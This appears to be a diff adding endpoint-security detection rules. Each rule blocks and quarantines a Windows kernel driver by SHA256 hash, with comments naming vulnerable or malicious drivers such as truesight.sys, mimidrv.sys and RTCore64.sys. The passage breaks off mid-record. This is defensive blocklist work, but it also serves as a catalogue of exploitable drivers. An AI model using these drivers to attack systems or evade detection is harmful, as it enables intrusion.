+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.476720Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9ce5188745ffcb5dc8304dac97cd037360600d8eb4739cfdbfb06bcd0efd72e4",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "47af286e-82b8-5ed2-8f97-ff83ded88a8a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830634Z",
+  "creation_date": "2026-03-23T11:45:30.830635Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830641Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b19f6fac202bb7f878a79d1be3f8631e5dff44560692235f31deb68710148bec",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "47d3467b-4e82-5941-817e-eaff6e052a0a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150142Z",
+  "creation_date": "2026-03-23T11:45:31.150144Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150149Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ee768d53efcca87b44c6d6b0e306059acef1a481aa5e02694b8a353890cbf6f9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "47eafdb3-ec10-58cb-800c-26f4596fd205",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.477898Z",
+  "creation_date": "2026-03-23T11:45:31.477902Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.477913Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "82d6dc7fae155d0589a55a88a1f91d2ca48f7aaff316390eb70f7598eb1cb659",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "47ec7d52-a4df-5b2f-aa92-c188d6e37d52",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974557Z",
+  "creation_date": "2026-03-23T11:45:29.974559Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974565Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a553ba125adf00a769718d5cd26ed1a59b5e397956ebc6163973b10fe8c58214",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "47f34d50-d3bc-5bfe-ada1-766c5049aa54",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144020Z",
+  "creation_date": "2026-03-23T11:45:31.144022Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144028Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "be3eff65d045b8da69a4fff97851914c9593b28eb0e1341752c2b5b6a77b3e60",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "47f47acb-0eeb-5f94-b6dd-bcdce46a3c07",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833561Z",
+  "creation_date": "2026-03-23T11:45:30.833564Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833573Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "54244d2b495401912a0f7957e11f9b9a275e10237fc2b37c899e453993f3fa33",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "47ffc318-34ec-5cca-8272-5d0a36307a97",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824203Z",
+  "creation_date": "2026-03-23T11:45:30.824205Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824211Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d52cb77b427ddb1227990d84e670ec4d1dd3e5c87ffe18567fd384eab09ec6ff",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "481457c6-2042-5d84-a37e-4bcf33c2ec79",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823967Z",
+  "creation_date": "2026-03-23T11:45:30.823969Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823975Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e545e92fbb223dee4b62ff7f9ae11ad06ff36be47b6ca9eb4f40bf6f08de8d21",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "482b0e84-f935-5bed-a66a-76ba67939a18",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144037Z",
+  "creation_date": "2026-03-23T11:45:32.144039Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144045Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c3d48dddef790a45ef9feaa5978ec90c9cd4b2de4746896c446ffa08d488170a",
+  "comment": "Malicious Kernel Driver (aka driver_c3d48ddd.sys) [https://www.loldrivers.io/drivers/f6c08b8a-1d25-4bf1-9d4f-5368c1f6cfe7/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "482b9f57-75f4-5c0c-bce6-3bb7c5ce2388",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969558Z",
+  "creation_date": "2026-03-23T11:45:29.969560Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969566Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a4680fabf606d6580893434e81c130ff7ec9467a15e6534692443465f264d3c9",
+  "comment": "Vulnerable Kernel Driver (aka HpPortIox64.sys) [https://www.loldrivers.io/drivers/13637210-2e1c-45a4-9f76-fe38c3c34264/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "48364e33-fabb-5d9f-97ea-ccfc5eabf618",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481151Z",
+  "creation_date": "2026-03-23T11:45:30.481153Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481159Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "34f26fbfb72329cbb7f25d2b40cb0f553e1a80373972bcdad62c3c6284d5b2b1",
+  "comment": "Vulnerable Kernel Driver (aka TdkLib64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4852904d-6fe6-5184-8cfc-08fd494f03ba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828547Z",
+  "creation_date": "2026-03-23T11:45:31.828549Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828555Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2ea8dd91131592f6017578965305a4caf61e7430e8d2c31ef823e2da45a93a7f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4858ebcf-be21-5624-bffb-4d039a11658d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826629Z",
+  "creation_date": "2026-03-23T11:45:31.826631Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826640Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "85c83185fc68bf096dad74ab1264417c4f223116e5053043d05bff4b7414b7ea",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "485b4a24-14e8-508f-a5c3-6b068ee699ba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.478910Z",
+  "creation_date": "2026-03-23T11:45:31.478914Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.478925Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2b3013268634b4bac0fd3f7ab36c71be8f858c767c5955577ddfe91b5ad22e78",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4860f692-8954-57a0-bfd9-b649e9a60546",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828779Z",
+  "creation_date": "2026-03-23T11:45:31.828783Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828791Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9450aa820c5a58e5786861e4c5f3df3c96939844a9f134e6b190e71d0ab098f3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4870a635-d182-5af1-b01b-3f4c82e68157",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985251Z",
+  "creation_date": "2026-03-23T11:45:29.985253Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985258Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cd53f7e910ed37bf11a473c116fc33d7799f25213dd4e0191085040eb45c3e4e",
+  "comment": "Dangerous Physmem Kernel Driver (aka HwRwDrv.Sys) [https://www.loldrivers.io/drivers/e4609b54-cb25-4433-a75a-7a17f43cec00/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "48715460-90b7-5f09-8c2e-1b5002af8fac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975974Z",
+  "creation_date": "2026-03-23T11:45:29.975976Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975982Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e2606f272f7ba054df16be464fda57211ef0d14a0d959f9c8dcb0575df1186e4",
+  "comment": "SystemInformer driver (aka systeminformer.sys, formerly known as kprocesshacker.sys) [https://github.com/winsiderss/systeminformer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "487ada8e-895f-5e5a-91f6-6784419a6c68",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979955Z",
+  "creation_date": "2026-03-23T11:45:29.979958Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979967Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fd8a5313bf63f5013dc126620276fb4f0ef26416db48ee88cbaaca4029df1d73",
+  "comment": "Vulnerable Kernel Driver (aka nt3.sys) [https://www.loldrivers.io/drivers/d5118882-6cdd-4b06-8bf4-e9818f16137e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "487c563a-517b-5ac7-b02d-c41443bf20ac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469340Z",
+  "creation_date": "2026-03-23T11:45:30.469343Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469352Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "29b3f3f315179d30fbe75de7b59f09bc7452e6b538ff02b5252c3ee7b26eccab",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "487f66f2-e6a4-5d7e-8cd7-33d9656a7c8b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468227Z",
+  "creation_date": "2026-03-23T11:45:30.468231Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468240Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5ffba52ea8bba7aeaf9fb32e1ba97b5bbd5c31739d594e722d9e89907dbb5cdd",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4887ca8e-4fde-5c0b-af84-6374e77f189a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607526Z",
+  "creation_date": "2026-03-23T11:45:29.607528Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607533Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "18712a063574bfec315d58577dfe413ab45b650e54747d1e18a56c3c7337a12c",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "488cc101-b4c4-5838-8a6f-2b030729e9ce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973165Z",
+  "creation_date": "2026-03-23T11:45:29.973167Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973172Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d378162a47648bed192270ab4ddd67c99b4ebe8093a267fa1fe1e092559504b0",
